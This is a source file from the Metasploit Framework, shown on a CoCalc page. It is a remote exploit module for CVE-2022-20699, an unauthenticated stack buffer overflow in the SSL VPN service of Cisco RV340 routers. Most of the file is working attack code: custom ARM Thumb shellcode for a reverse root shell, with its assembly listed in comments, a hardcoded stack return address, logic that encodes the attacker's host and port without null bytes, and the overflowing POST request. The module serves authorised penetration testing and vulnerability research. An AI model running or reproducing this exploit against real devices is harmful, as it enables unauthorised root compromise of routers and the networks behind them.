CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::HttpClient
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Cisco RV340 SSL VPN Unauthenticated Remote Code Execution',
18
'Description' => %q{
19
This module exploits a stack buffer overflow in the Cisco RV series routers SSL VPN
20
functionality. The default SSL VPN configuration is exploitable, with no authentication
21
required and works over the Internet!
22
The stack is executable and no ASLR is in place, which makes exploitation easier.
23
Successful execution of this module results in a reverse root shell. A custom payload is
24
used as Metasploit does not have ARMLE null free shellcode.
25
This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon
26
2022. For more information check the referenced advisory.
27
This module has been tested in firmware versions 1.0.03.15 and above and works with around
28
65% reliability. The service restarts automatically so you can keep trying until you pwn it.
29
Only the RV340 router was tested, but other RV series routers should work out of the box.
30
},
31
'Author' => [
32
'Pedro Ribeiro <[email protected]>', # Vulnerability discovery and Metasploit module
33
'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
34
],
35
'License' => MSF_LICENSE,
36
'Platform' => 'linux',
37
'References' => [
38
['CVE', '2022-20699'],
39
['URL', 'https://www.youtube.com/watch?v=O1uK_b1Tmts'],
40
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md'],
41
['URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md'],
42
['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html'],
43
],
44
'Arch' => ARCH_ARMLE,
45
# We actually use our own shellcode because Metasploit doesn't have ARM encoders!
46
'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
47
'Targets' => [
48
[
49
'Cisco RV340 Firmware Version <= 1.0.03.24',
50
{
51
# Shellcode location on stack (rwx stack, seriously Cisco...)
52
# The same for all vulnerable firmware versions: 0x704aed98 (+ 1 for thumb)
53
#
54
# NOTE: this is the shellcode location about 65% of the time. The rest is at
55
# The remaining 35% will land at 0x704f6d98, causing this sploit will fail.
56
# There's no way to guess it, but the service will restart again, so let's stick
57
# with the most common stack address.
58
'Shellcode' => "\x99\xed\x4a\x70"
59
}
60
],
61
],
62
'DisclosureDate' => '2022-02-02',
63
'DefaultTarget' => 0,
64
'Notes' => {
65
'Stability' => [CRASH_SERVICE_RESTARTS],
66
# repeatable... but only works 65% of the time, see comments above
67
'Reliability' => [REPEATABLE_SESSION],
68
'SideEffects' => []
69
}
70
)
71
)
72
register_options(
73
[
74
Opt::RPORT(8443),
75
OptBool.new('SSL', [true, 'Use SSL', true])
76
]
77
)
78
end
79
80
def check
81
# This should return a string like:
82
# "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server." (plus another phrase)
83
res = send_request_cgi({ 'uri' => '/login.html' })
84
if res && res.code == 200 && res.body.include?('The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server')
85
Exploit::CheckCode::Detected
86
else
87
Exploit::CheckCode::Unknown
88
end
89
end
90
91
def hex_to_bin(int)
92
hex = int.to_s(16)
93
if (hex.length == 1) || (hex.length == 3)
94
hex = '0' + hex
95
end
96
hex.scan(/../).map { |x| x.hex.chr }.join
97
end
98
99
def prep_shelly
100
# We need to roll our own shellcode, as Metasploit doesn't have encoders for ARMLE.
101
# A null free shellcode is needed, as this memory corruption is done through `strcat()`
102
#
103
# SHELLCODE_START:
104
# // Original shellcode from Azeria Labs aka @Fox0x01's blog, specifically
105
# // https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/
106
# // Expanded and Improved by the Flashback Team
107
# .global _start
108
# _start:
109
# .THUMB
110
# // socket(2, 1, 0)
111
# mov r0, #2
112
# mov r1, #1
113
# sub r2, r2
114
# mov r7, #200
115
# add r7, #81 // r7 = 281 (socket)
116
# svc #1 // r0 = resultant sockfd
117
# mov r4, r0 // save sockfd in r4
118
#
119
# // connect(r0, &sockaddr, 16)
120
# adr r1, struct // pointer to address, port
121
# strb r2, [r1, #1] // write 0 for AF_INET
122
# mov r2, #16
123
# add r7, #2 // r7 = 283 (connect)
124
# svc #1
125
#
126
# // dup2(sockfd, 0)
127
# mov r7, #63 // r7 = 63 (dup2)
128
# mov r0, r4 // r4 is the saved sockfd
129
# sub r1, r1 // r1 = 0 (stdin)
130
# svc #1
131
# // dup2(sockfd, 1)
132
# mov r0, r4 // r4 is the saved sockfd
133
# mov r1, #1 // r1 = 1 (stdout)
134
# svc #1
135
# // dup2(sockfd, 2)
136
# mov r0, r4 // r4 is the saved sockfd
137
# mov r1, #2 // r1 = 2 (stderr)
138
# svc #1
139
#
140
# // execve("/bin/sh", 0, 0)
141
# adr r0, binsh
142
# sub r2, r2
143
# sub r1, r1
144
# strb r2, [r0, #7]
145
# push {r0, r2}
146
# mov r1, sp
147
# cpy r2, r1
148
# mov r7, #11 // r7 = 11 (execve)
149
# svc #1
150
#
151
# eor r7, r7, r7
152
#
153
# struct:
154
# .ascii "\x02\xff" // AF_INET 0xff will be NULLed
155
# .ascii "\x11\x5d" // port number 4445
156
# .byte 5,5,5,1 // IP Address
157
# binsh:
158
# .ascii "/bin/shX"
159
# SHELLCODE_END
160
#
161
# Since we need to be null free, we have a very specific corner case, for addresses:
162
# X.0.Y.Z
163
# X.Y.0.Z
164
# X.Y.Z.0
165
# X.0.0.Y
166
# X.Y.0.0
167
# X.0.Y.0
168
# X.0.0.0
169
# These will contain a null byte for the each zero in the address.
170
#
171
# To fix this we add additional instructions to the shellcode and replace the null byte(s).
172
# adr r1, struct // pointer to address, port
173
# strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet)
174
# adr r1, struct // pointer to address, port
175
# strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet)
176
# adr r1, struct // pointer to address, port
177
# strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet)
178
#
179
180
# The following is used to convert LHOST and LPORT for shellcode inclusion
181
lport_h = hex_to_bin(lport)
182
lhost_h = ''
183
jump = 0xc
184
datastore['LHOST'].split('.').each do |n|
185
octet = hex_to_bin(n.to_i)
186
if octet == "\x00"
187
# Why we do this? Check comments below my fren
188
jump += 1
189
end
190
lhost_h += octet
191
end
192
lhost_h = lhost_h.force_encoding('binary')
193
194
# As part of the shellcode, we need to do:
195
# adr r1, struct // pointer to address, port
196
# strb r2, [r1, #1] // write 0 for AF_INET
197
#
198
# In order to do the "adr", we need to know where "struct" is. On an unmodified
199
# shellcode, this is "\x0c\xa1\x4a\x70".
200
# But if we have one or more null bytes in the LHOST, we need to add more instructions.
201
# This means the "\x0c", the distance from $pc to "struct, is going to be either
202
# "\x0d, "\x0e" or "\x0f".
203
# Long story short, this distance is the jump variable, and we need to calculate it
204
# properly the more instructions we add.
205
#
206
# This is our jump, now calculated with the additional (or not) instructions:
207
ins = hex_to_bin(jump) + "\xa1\x4a\x70"
208
jump -= 1
209
210
# And now we calculate all the null bytes we have, replace them with \xff and add
211
# the proper jump:
212
for i in 1..3 do
213
next unless lhost_h[i] == "\x00"
214
215
ins_add = ''
216
lhost_h[i] = "\xff"
217
if i == 1
218
# strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet)
219
ins_add = "\x4a\x71"
220
elsif i == 2
221
# strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet)
222
ins_add = "\x8a\x71"
223
elsif i == 3
224
# strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet)
225
ins_add = "\xca\x71"
226
end
227
ins += hex_to_bin(jump) + "\xa1" + ins_add
228
jump -= 1
229
end
230
ins = ins.force_encoding('binary')
231
232
shellcode = "\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c" + ins +
233
"\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21" \
234
"\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\xc2\x71\x05\xb4" \
235
"\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02\xff" + lport_h + lhost_h +
236
"\x2f\x62\x69\x6e\x2f\x73\x68\x58"
237
shelly = shellcode + rand_text_alphanumeric(16400 - shellcode.length) + target['Shellcode']
238
shelly
239
end
240
241
def sock_get(app_host, app_port)
242
begin
243
ctx = { 'Msf' => framework, 'MsfExploit' => self }
244
sock = Rex::Socket.create_tcp(
245
{ 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 }
246
)
247
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
248
sock.close if sock
249
end
250
if sock.nil?
251
fail_with(Failure::Unknown, 'Failed to connect to the chosen application')
252
end
253
254
# also need to add support for old ciphers
255
ctx = OpenSSL::SSL::SSLContext.new
256
ctx.min_version = OpenSSL::SSL::SSL3_VERSION
257
ctx.security_level = 0
258
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
259
s = OpenSSL::SSL::SSLSocket.new(sock, ctx)
260
s.sync_close = true
261
s.connect
262
return s
263
end
264
265
def exploit
266
print_status("#{peer} - Pwning #{target.name}")
267
payload = prep_shelly
268
begin
269
sock = sock_get(rhost, rport)
270
# With the base request, our shellcode will be about 0x12a from $sp when we take control.
271
#
272
# But we noticed that by adding more filler in the request we can have better reliability.
273
# So let's use 0x86 as filler and dump the filler in the URL! This number is arbitrary and
274
# can be increased / decreased, but we find 0x86 works well.
275
# (this means our shellcode address in the target definition above is $sp + 0x12a + 0x86)
276
#
277
# It would be good to add some valid headers with semi random data for proper evasion :D
278
http = 'POST /' + rand_text_alphanumeric(0x86) + " HTTP/1.1\r\nContent-Length: 16404\r\n\r\n"
279
280
sock.write(http)
281
sock.write(payload)
282
rescue ::Rex::ConnectionError
283
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
284
end
285
end
286
end
287
288